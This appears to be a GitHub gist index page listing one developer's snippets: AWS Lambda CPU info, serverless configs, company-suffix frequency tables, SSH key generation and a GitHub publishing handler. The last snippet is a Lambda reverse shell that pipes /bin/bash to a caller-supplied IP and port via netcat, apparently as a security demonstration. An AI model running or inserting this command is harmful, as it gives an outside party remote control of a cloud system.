Skip to content

Instantly share code, notes, and snippets.

@keithrozario
keithrozario / link to models
Created January 2, 2020 14:33
link to model
@keithrozario
keithrozario / links
Last active November 18, 2019 23:58
models
@keithrozario
keithrozario / 512MB.txt
Last active October 3, 2019 14:40
procinfo of a lambda function
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 62
model name : Intel(R) Xeon(R) Processor @ 2.50GHz
stepping : 4
microcode : 0x1
cpu MHz : 2500.010
cache size : 33792 KB
physical id : 0
@keithrozario
keithrozario / example_demo.py
Created October 3, 2019 10:33
example_demo at pycon
service: demo
provider:
name: aws
region: ap-southeast-1
runtime: python3.7
functions:
hello:
handler: hello.main
@keithrozario
keithrozario / most.csv
Last active September 11, 2019 15:56
most popular company suffixed
freq suffix_1
108465 LIMITED
86572 LLC
80976 B.V.
59102 GMBH
49047 S.R.L.
47995 TRUST
45094 FUND
43464 INC.
36573 AB
@keithrozario
keithrozario / suffiexes
Created September 9, 2019 23:04
suffixes
freq suffix_2
100 2000 S.R.L.
100 CONSULTING AG
100 INVESTMENT CORP.
100 VERMÖGENSVERWALTUNG KG
100 ZEALAND LIMITED
101 1 AB
101 AALBORG APS
101 AUSTRALIA LIMITED
101 HEDGE FUND
@keithrozario
keithrozario / gen_key.sh
Created September 8, 2019 13:36
gen_key
mkdir key_gen/$1
cd key_gen/$1
ssh-keygen -t rsa -b 4096 -f key_gen/github_id_rsa -C [email protected]
openssl rand -base64 -out key_gen/secret.key 48
key=$(<key_gen/secret.key)
openssl aes-256-cbc -e -in key_gen/github_id_rsa -out key_gen/github_id_rsa.enc -k $key
openssl aes-256-cbc -d -in key_gen/github_id_rsa.enc -out key_gen/github_id_rsa.dec -k $key
@keithrozario
keithrozario / publish_github.yml
Created September 8, 2019 10:08
publish_github.yml
publish_github:
handler: publish_to_github.handler
runtime: provided
memorySize: 2048
timeout: 600
environment:
GITHUB_REPO: ${self:custom.githubRepo}
KEK_PARAMETER: ${self:custom.kekParameter}
S3_KEYS: ${self:custom.s3KeysName}
BUCKET_NAME: ${self:custom.s3LayersName}
@keithrozario
keithrozario / publish_to_github.sh
Last active September 3, 2020 20:11
publish_to_github.sh
handler () {
set -e
SSH_KEY_DIR=/tmp/.ssh
SSH_KEY_FILE=$SSH_KEY_DIR/id_rsa
KNOWN_HOSTS_FILE=/tmp/.ssh/known_hosts
if [ ! -d $SSH_KEY_DIR ];
then
mkdir $SSH_KEY_DIR
@keithrozario
keithrozario / rev_shell.sh
Created August 25, 2019 13:34
reverse shell in lambda
handler () {
set -e
EVENT_JSON=$(echo $1 | jq .)
IP=$(jq -r '.ip' <<< "${EVENT_JSON}")
PORT=$(jq -r '.port' <<< "${EVENT_JSON}")
echo "Creating reverse shell to $IP:$PORT"
netcat -e /bin/bash $IP $PORT